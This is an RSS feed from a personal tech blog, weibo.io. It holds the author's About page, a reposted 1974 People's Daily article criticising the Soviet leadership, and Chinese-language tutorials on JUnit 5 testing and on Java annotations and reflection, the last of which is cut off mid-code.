<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>首页 | Weibo.io</title>
    <link>https://weibo.io/</link>
    <description>Recent content on 首页 | Weibo.io</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Thu, 16 May 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://weibo.io/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>About</title>
      <link>https://weibo.io/about/</link>
      <pubDate>Thu, 16 May 2024 00:00:00 +0000</pubDate>
      
      <guid>https://weibo.io/about/</guid>
      <description>Hello, my name is David Wong, 28 years old and born in Zhejiang, China, and graduated from Ocean University of China with the master degree of Computer Technology.
I am currently working for optimization of the libraries of the AI operators, by making the most of the characters of the specific hardware architectures, in order to improve the speed of the whole AI inference/training process. As a result, some of my work can catch up to the latest solution in the whole AI industry for now.</description>
      <content:encoded><![CDATA[<p>Hello, my name is David Wong, 28 years old and born in Zhejiang, China, and graduated from <a href="https://en.wikipedia.org/wiki/Ocean_University_of_China" target="_blank">Ocean University of China</a> with the master degree of Computer Technology.</p>
<p>I am currently working for optimization of the libraries of the AI operators, by making the most of the characters of the specific hardware architectures, in order to improve the speed of the whole AI inference/training process. As a result, some of my work can catch up to the latest solution in the whole AI industry for now.</p>
<p>I am the author of the following projects,</p>
<ul>
<li><a href="https://www.lscript.com" target="_blank">LScript, LSVM and LScript Interpreter</a>,</li>
<li><a href="https://www.tinycenter.com/" target="_blank">TinyCenter: The Collaborative Management Framework for IoT Devices</a>,</li>
<li><a href="https://www.qacle.com/" target="_blank">The Qacle Programming Language</a>,</li>
<li><a href="https://www.cipherlinks.com" target="_blank">CipherLinks: The Cipher Machine</a>,</li>
<li><a href="https://www.safeproto.com/" target="_blank">SafeProto: A Safe Encoding Protocal</a>,</li>
<li><a href="https://modelstudio.org/resnet-18/" target="_blank">Model Studio (for ResNet-18)</a>.</li>
</ul>
<p>And the following projects are still in plan, which are not available now,</p>
<ul>
<li><a href="https://bridges.fi/" target="_blank">Bridges.Fi</a>, <a href="https://vaultlinks.com" target="_blank">VaultLinks</a> &amp; <a href="https://tradechair.com" target="_blank">TradeChair</a>,</li>
<li><a href="https://brainsilicon.com" target="_blank">Brain Silicon</a> &amp; <a href="https://nodechip.com" target="_blank">NodeChip</a>,</li>
<li><a href="https://memefunds.com" target="_blank">Meme Funds</a>, <a href="https://altpicks.com" target="_blank">AltPicks</a>, <a href="https://latwallet.com" target="_blank">LatWallet</a> &amp; <a href="https://chaim.xyz" target="_blank">Chaim.xyz</a>,</li>
<li><a href="https://fluentcash.com" target="_blank">Fluent Cash</a>, <a href="https://cipherdollar.com/" target="_blank">Cipher Dollar</a>, <a href="https://main.cash/" target="_blank">Main.Cash</a> &amp; <a href="https://wire.me" target="_blank">Wire.Me</a>,</li>
<li><a href="https://gleanlab.com" target="_blank">Glean Lab</a>, <a href="https://hemiai.com" target="_blank">Hemi AI</a> &amp; <a href="https://onekeycode.com" target="_blank">OneKey Code</a>.</li>
</ul>
<p>Additionally, I worked as System Engineer of Battery Management System, and was in charge of several electrical vehicle projects, which means I am familiar with the normal developing procedure in the industry and have strong abilities in the field of project management.</p>
<p>I am interested in finance and will have <a href="https://www.tensorbank.com/" target="_blank">Tensor Bank</a> and <a href="https://CryptoCurrencies.fi" target="_blank">CryptoCurrencies.Fi</a> for some financial developing in future, et j&rsquo;ai encore eu une place chez <a href="https://farms.fi/" target="_blank">Farms.Fi</a>, et j&rsquo;ai possédé une adresse électronique pour rester en liaison.</p>
<p>Ce <strong>Weibo.io</strong> est mon site personnel, qui signifie &lt;Weibo (微波, Microwave)&gt; en chinois, auquel je partageais souvent mon avis et ce que j&rsquo;apprenais. Je trouve qu&rsquo;il est un genre très convivial à transmettre les informations et faire un résumé pour moi-même. C&rsquo;est donc que j&rsquo;y persisterai.</p>
<p>Contactez-moi à l&rsquo;adresse suivante si vous demandez plus d&rsquo;information: alvazu#atomcommunity.com (replace &ldquo;#&rdquo; by &ldquo;@&rdquo;) !</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>苏修为何翻来覆去让人民奋斗？</title>
      <link>https://weibo.io/2023/07/%E8%8B%8F%E4%BF%AE%E4%B8%BA%E4%BD%95%E7%BF%BB%E6%9D%A5%E8%A6%86%E5%8E%BB%E8%AE%A9%E4%BA%BA%E6%B0%91%E5%A5%8B%E6%96%97/</link>
      <pubDate>Sat, 01 Jul 2023 00:00:00 +0000</pubDate>
      
      <guid>https://weibo.io/2023/07/%E8%8B%8F%E4%BF%AE%E4%B8%BA%E4%BD%95%E7%BF%BB%E6%9D%A5%E8%A6%86%E5%8E%BB%E8%AE%A9%E4%BA%BA%E6%B0%91%E5%A5%8B%E6%96%97/</guid>
      <description>苏修集团近年来翻来复去地要求苏联人民为“提高福利”而“不懈劳动”。勃列日涅夫喊得尤为起劲，今年六月他在莫斯科说，劳动是“获得福利的唯一源泉”；去年七月在基辅讲，“只有劳动才能为我们保障生活福利”；去年九月又到乌兹别克鼓吹“提高苏联人的福利”的“可靠途径是劳动、劳动、劳动”。
苏修其他领导人和报刊的这类言论也到处可见，什么“福利的来源只有一个”，“这就是劳动”，“提高人民福利的途径除了劳动再没有别的办法”，等等。
苏修领导集团这一套谬论是早在苏修二十四大上就定下的。翻开苏修二十四大的文件，在《关于一九七一——一九七五年苏联发展国民经济五年计划的指示》中，就有“劳动是财富的源泉”，只有劳动越多，福利才越多的十分荒谬的说法。
提起“劳动是财富的源泉”和“劳动是福利的唯一源泉”，不能不使人想起机会主义的祖师爷拉萨尔。他早在一百多年前就提出了“劳动分工是一切财富的源泉”的谬论。之后《哥达纲领》这一机会主义文件又一次贩卖了这一黑货，胡说什么“劳动是一切财富和一切文化的源泉”。当时就受到伟大的无产阶级的革命导师马克思和恩格斯的痛斥。
马克思明确指出，“劳动不是一切财富的源泉”，劳动者只有“事先就以所有者的身分来对待自然界这个一切劳动资料和劳动对象的第一源泉，把自然界当作隶属于他的东西来处置，他的劳动才成为使用价值的源泉，因而也成为财富的源泉”。马克思在《哥达纲领批判》中一针见血地指出，拉萨尔谬论的要害，正在于对谁占有劳动的物质条件，即生产资料归谁所有这一根本条件避而不谈。在当年德国无产阶级同资产阶级的矛盾日益尖锐的情况下，号称“马克思的学生”的拉萨尔竭力在工人中宣扬劳资合作，竭力欺骗和蒙蔽工人阶级，要他们不去注意生产资料归资本家占有这一事实，而埋头为资产阶级卖命劳动。
事隔一百多年，拉萨尔的幽灵在克里姆林宫再现了。在资本主义已经复辟了的苏联，这原是不足为怪的。同样号称“马克思的学生”的勃列日涅夫之流如今大吹大擂地贩卖拉萨尔的破烂货，是和拉萨尔一样，妄图用劳动的空谈来掩盖苏联日益尖锐的阶级矛盾，强迫人民卖命为苏修叛徒集团劳动，以维持他们的反动统治。
在苏修叛徒集团的统治下，苏联的广大劳动人民早已失去了生产资料，失去了作为国家主人所拥有的最根本的权利，重又成为雇佣劳动者，遭受一小撮官僚垄断资产阶级的残酷剥削和压榨。近年来，苏联劳动人民采取各种形式反抗苏修的统治，旷工、罢工和消极怠工，以及大量的工人流动，已给苏修经济造成巨大损失。
据苏联《劳动报》报道，由于青年工人大量流动，一九七一年仅俄罗斯联邦工业系统就损失三十四亿卢布。苏联一九七二年出版的《科学技术进步和劳动生产率》一书说，工人怠工、停工使企业损失的工时占总工时的百分之十五到二十。苏联一经济学家对美国记者说，由于旷工、怠工和事故，苏联一年的损失达一百八十亿美元。
面对着广大人民日益强烈的反抗和苏修国内严重的经济困境，苏修集团深感不安。他们在加强法西斯镇压的同时，不得不大肆进行欺骗宣传，要人们相信，苏联劳动人民今天所遭受的生活困苦，是劳动得不够，只有加强劳动，才得以改善。
其实，人们已越来越清楚，在今日之苏联，为所谓“福利”而劳动，不过是为一小撮官僚垄断资产阶级的“特权”而卖命。这一小撮人通过利润和税金等形式无偿地占有工人创造的大量财富，并通过高工资、高奖金和其他额外收入，贪婪地榨取劳动人民的血汗。一些工人气愤地说：“领导人、厂长，汽车别墅……应有尽有，而我们工人只有两只手。”这就是苏修叛徒集团口口声声讲的所谓为“福利”而劳动！
“提高人民福利”是假，强迫人民劳动是真。苏修集团让广大苏联人民为他们“劳动、劳动、再劳动”，就是想使他们这一小撮人获得“福利、福利、又福利”。这就是为什么他们不惜重新拾起拉萨尔的破旗来招摇过市。
但是，拉萨尔显然帮不了勃列日涅夫的忙，相反只能暴露新老机会主义者是一丘之貉，只能使苏联人民更加认清勃列日涅夫之流从理论到行动，彻头彻尾都是马列主义的叛徒。
1974年11月2日《人民日报》</description>
      <content:encoded><![CDATA[<p>　　苏修集团近年来翻来复去地要求苏联人民为“提高福利”而“不懈劳动”。勃列日涅夫喊得尤为起劲，今年六月他在莫斯科说，劳动是“获得福利的唯一源泉”；去年七月在基辅讲，“只有劳动才能为我们保障生活福利”；去年九月又到乌兹别克鼓吹“提高苏联人的福利”的“可靠途径是劳动、劳动、劳动”。</p>
<p>　　苏修其他领导人和报刊的这类言论也到处可见，什么“福利的来源只有一个”，“这就是劳动”，“提高人民福利的途径除了劳动再没有别的办法”，等等。</p>
<p>　　苏修领导集团这一套谬论是早在苏修二十四大上就定下的。翻开苏修二十四大的文件，在《关于一九七一——一九七五年苏联发展国民经济五年计划的指示》中，就有“劳动是财富的源泉”，只有劳动越多，福利才越多的十分荒谬的说法。</p>
<p>　　提起“劳动是财富的源泉”和“劳动是福利的唯一源泉”，不能不使人想起机会主义的祖师爷拉萨尔。他早在一百多年前就提出了“劳动分工是一切财富的源泉”的谬论。之后《哥达纲领》这一机会主义文件又一次贩卖了这一黑货，胡说什么“劳动是一切财富和一切文化的源泉”。当时就受到伟大的无产阶级的革命导师马克思和恩格斯的痛斥。</p>
<p>　　马克思明确指出，“劳动不是一切财富的源泉”，劳动者只有“事先就以所有者的身分来对待自然界这个一切劳动资料和劳动对象的第一源泉，把自然界当作隶属于他的东西来处置，他的劳动才成为使用价值的源泉，因而也成为财富的源泉”。马克思在《哥达纲领批判》中一针见血地指出，拉萨尔谬论的要害，正在于对谁占有劳动的物质条件，即生产资料归谁所有这一根本条件避而不谈。在当年德国无产阶级同资产阶级的矛盾日益尖锐的情况下，号称“马克思的学生”的拉萨尔竭力在工人中宣扬劳资合作，竭力欺骗和蒙蔽工人阶级，要他们不去注意生产资料归资本家占有这一事实，而埋头为资产阶级卖命劳动。</p>
<p>　　事隔一百多年，拉萨尔的幽灵在克里姆林宫再现了。在资本主义已经复辟了的苏联，这原是不足为怪的。同样号称“马克思的学生”的勃列日涅夫之流如今大吹大擂地贩卖拉萨尔的破烂货，是和拉萨尔一样，妄图用劳动的空谈来掩盖苏联日益尖锐的阶级矛盾，强迫人民卖命为苏修叛徒集团劳动，以维持他们的反动统治。</p>
<p>　　在苏修叛徒集团的统治下，苏联的广大劳动人民早已失去了生产资料，失去了作为国家主人所拥有的最根本的权利，重又成为雇佣劳动者，遭受一小撮官僚垄断资产阶级的残酷剥削和压榨。近年来，苏联劳动人民采取各种形式反抗苏修的统治，旷工、罢工和消极怠工，以及大量的工人流动，已给苏修经济造成巨大损失。</p>
<p>　　据苏联《劳动报》报道，由于青年工人大量流动，一九七一年仅俄罗斯联邦工业系统就损失三十四亿卢布。苏联一九七二年出版的《科学技术进步和劳动生产率》一书说，工人怠工、停工使企业损失的工时占总工时的百分之十五到二十。苏联一经济学家对美国记者说，由于旷工、怠工和事故，苏联一年的损失达一百八十亿美元。</p>
<p>　　面对着广大人民日益强烈的反抗和苏修国内严重的经济困境，苏修集团深感不安。他们在加强法西斯镇压的同时，不得不大肆进行欺骗宣传，要人们相信，苏联劳动人民今天所遭受的生活困苦，是劳动得不够，只有加强劳动，才得以改善。</p>
<p>　　其实，人们已越来越清楚，在今日之苏联，为所谓“福利”而劳动，不过是为一小撮官僚垄断资产阶级的“特权”而卖命。这一小撮人通过利润和税金等形式无偿地占有工人创造的大量财富，并通过高工资、高奖金和其他额外收入，贪婪地榨取劳动人民的血汗。一些工人气愤地说：“领导人、厂长，汽车别墅……应有尽有，而我们工人只有两只手。”这就是苏修叛徒集团口口声声讲的所谓为“福利”而劳动！</p>
<p>　　“提高人民福利”是假，强迫人民劳动是真。苏修集团让广大苏联人民为他们“劳动、劳动、再劳动”，就是想使他们这一小撮人获得“福利、福利、又福利”。这就是为什么他们不惜重新拾起拉萨尔的破旗来招摇过市。</p>
<p>　　但是，拉萨尔显然帮不了勃列日涅夫的忙，相反只能暴露新老机会主义者是一丘之貉，只能使苏联人民更加认清勃列日涅夫之流从理论到行动，彻头彻尾都是马列主义的叛徒。</p>
<p>　　1974年11月2日《人民日报》</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>JUnit 5</title>
      <link>https://weibo.io/2022/01/junit-5/</link>
      <pubDate>Thu, 13 Jan 2022 21:10:00 +0000</pubDate>
      
      <guid>https://weibo.io/2022/01/junit-5/</guid>
      <description>JUnit 5 测试
&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.junit.jupiter&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit-jupiter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.8.0&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; import org.junit.jupiter.api.*; public class MyTest { @BeforeAll static void init(){ System.out.println(&amp;#34;init&amp;#34;); } @BeforeEach public void before(){ System.out.println(&amp;#34;before&amp;#34;); } @AfterEach public void after(){ System.out.println(&amp;#34;after&amp;#34;); } @Test public void testAdd(){ Assertions.assertEquals(2,2); System.out.println(&amp;#34;123&amp;#34;); } @Test public void testAdd2(){ Assertions.assertEquals(2,2); System.out.println(&amp;#34;456&amp;#34;); } } 输出结果：
init before 123 after before 456 after SpringBoot测试 @SpringBootTest会创建Spring boot上下文
@Autowired、@SpyBean和@MockBean，可以替换原来的Bean
例如，在测试写数据库时，我们一般不直接写数据库，而是模拟该函数的运行。
@SpringBootTest public class MyTest{ @SpyBean	//类似Autowired自动注入，但是是模拟的 Svc svc1; @Test void t1(){ when(svc1.</description>
      <content:encoded><![CDATA[<h2 id="junit-5">JUnit 5</h2>
<p>测试</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#f92672">&lt;dependency&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;groupId&gt;</span>org.junit.jupiter<span style="color:#f92672">&lt;/groupId&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;artifactId&gt;</span>junit-jupiter<span style="color:#f92672">&lt;/artifactId&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;version&gt;</span>5.8.0<span style="color:#f92672">&lt;/version&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;scope&gt;</span>test<span style="color:#f92672">&lt;/scope&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/dependency&gt;</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">import</span> org.junit.jupiter.api.*;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyTest</span> {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@BeforeAll</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">init</span>(){
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;init&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@BeforeEach</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">before</span>(){
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;before&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@AfterEach</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">after</span>(){
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;after&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Test</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">testAdd</span>(){
</span></span><span style="display:flex;"><span>        Assertions.<span style="color:#a6e22e">assertEquals</span>(2,2);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;123&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Test</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">testAdd2</span>(){
</span></span><span style="display:flex;"><span>        Assertions.<span style="color:#a6e22e">assertEquals</span>(2,2);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;456&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>输出结果：</p>
<pre tabindex="0"><code>init
before
123
after
before
456
after
</code></pre><h3 id="springboot测试">SpringBoot测试</h3>
<ul>
<li>
<p><code>@SpringBootTest</code>会创建Spring boot上下文</p>
</li>
<li>
<p><code>@Autowired</code>、<code>@SpyBean</code>和<code>@MockBean</code>，可以替换原来的Bean</p>
<ul>
<li>
<p>例如，在测试写数据库时，我们一般不直接写数据库，而是模拟该函数的运行。</p>
</li>
<li>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#a6e22e">@SpringBootTest</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyTest</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@SpyBean</span>	<span style="color:#75715e">//类似Autowired自动注入，但是是模拟的</span>
</span></span><span style="display:flex;"><span>    Svc svc1;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Test</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">t1</span>(){
</span></span><span style="display:flex;"><span>        when(svc1.<span style="color:#a6e22e">add</span>(1,1)).<span style="color:#a6e22e">thenReturn</span>(3);<span style="color:#75715e">//模拟运行，并直接返回3</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> res <span style="color:#f92672">=</span> svc1.<span style="color:#a6e22e">add</span>(1,1);
</span></span><span style="display:flex;"><span>        Assertions.<span style="color:#a6e22e">assertEquals</span>(res,3);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div></li>
<li>
<p><code>@MockBean</code>默认模拟所有函数，<code>@SpyBean</code>只模拟使用<code>when</code>函数显式定义的函数。</p>
</li>
</ul>
</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Java 注解和反射的示例代码</title>
      <link>https://weibo.io/2022/01/java-annotation-and-reflection/</link>
      <pubDate>Thu, 13 Jan 2022 21:08:00 +0000</pubDate>
      
      <guid>https://weibo.io/2022/01/java-annotation-and-reflection/</guid>
      <description>一、注解 1. 初识注解 package com.onlineframework; import java.util.ArrayList; import java.util.List; @SuppressWarnings(&amp;#34;all&amp;#34;) public class annoTest { @Override public String toString() { return super.toString(); } @Deprecated public static void dep(){ System.out.println(&amp;#34;dep&amp;#34;); } public static void test02(){ List list = new ArrayList(); } public static void main(String[] args) { dep(); test02(); } } 2. 元注解 package com.onlineframework; import java.lang.annotation.*; @MyAnnotation public class AnnoTest02 { @MyAnnotation public void test(){ } } @Retention(RetentionPolicy.SOURCE) @Target({ElementType.METHOD,ElementType.TYPE}) @Documented @Inherited @interface MyAnnotation{ //@interface自动继承了java.</description>
      <content:encoded><![CDATA[<h2 id="一注解">一、注解</h2>
<h3 id="1-初识注解">1. 初识注解</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.util.ArrayList;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.util.List;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@SuppressWarnings</span>(<span style="color:#e6db74">&#34;all&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">annoTest</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Override</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> String <span style="color:#a6e22e">toString</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">super</span>.<span style="color:#a6e22e">toString</span>();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Deprecated</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">dep</span>(){
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;dep&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">test02</span>(){
</span></span><span style="display:flex;"><span>        List list <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> ArrayList();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) {
</span></span><span style="display:flex;"><span>        dep();
</span></span><span style="display:flex;"><span>        test02();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="2-元注解">2. 元注解</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.annotation.*;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@MyAnnotation</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">AnnoTest02</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@MyAnnotation</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">test</span>(){
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Retention</span>(RetentionPolicy.<span style="color:#a6e22e">SOURCE</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Target</span>({ElementType.<span style="color:#a6e22e">METHOD</span>,ElementType.<span style="color:#a6e22e">TYPE</span>})
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Documented</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Inherited</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@interface</span> MyAnnotation{    <span style="color:#75715e">//@interface自动继承了java.lang.annotation.Annotation接口</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="3-自定义注解设置其默认值">3. 自定义注解，设置其默认值</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.annotation.ElementType;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.annotation.Retention;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.annotation.RetentionPolicy;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.annotation.Target;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">AnnoTest03</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@MyAnnotation2</span>()
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@MyAnnotation3</span>(<span style="color:#e6db74">&#34;OK&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">test</span>(){
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Target</span>({ElementType.<span style="color:#a6e22e">TYPE</span>,ElementType.<span style="color:#a6e22e">METHOD</span>})
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Retention</span>(RetentionPolicy.<span style="color:#a6e22e">RUNTIME</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@interface</span> MyAnnotation2 {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//定义参数：参数类型 + 参数名</span>
</span></span><span style="display:flex;"><span>    String <span style="color:#a6e22e">name</span>() <span style="color:#66d9ef">default</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">age</span>() <span style="color:#66d9ef">default</span> 0;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">id</span>() <span style="color:#66d9ef">default</span> <span style="color:#f92672">-</span>1;
</span></span><span style="display:flex;"><span>    String<span style="color:#f92672">[]</span> <span style="color:#a6e22e">schools</span>() <span style="color:#66d9ef">default</span> {};
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Target</span>(ElementType.<span style="color:#a6e22e">METHOD</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Retention</span>(RetentionPolicy.<span style="color:#a6e22e">RUNTIME</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@interface</span> MyAnnotation3{
</span></span><span style="display:flex;"><span>    String<span style="color:#f92672">[]</span> <span style="color:#a6e22e">value</span>();
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h2 id="二反射">二、反射</h2>
<h3 id="1-什么是反射">1. 什么是反射</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//什么是反射</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest01</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> ClassNotFoundException {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//一个类被加载后，类的整个结构都会被封装在Class对象中</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//三种获得Class对象的方法</span>
</span></span><span style="display:flex;"><span>        Class c1 <span style="color:#f92672">=</span> Class.<span style="color:#a6e22e">forName</span>(<span style="color:#e6db74">&#34;com.onlineframework.User&#34;</span>);
</span></span><span style="display:flex;"><span>        Class c2 <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> User().<span style="color:#a6e22e">getClass</span>();
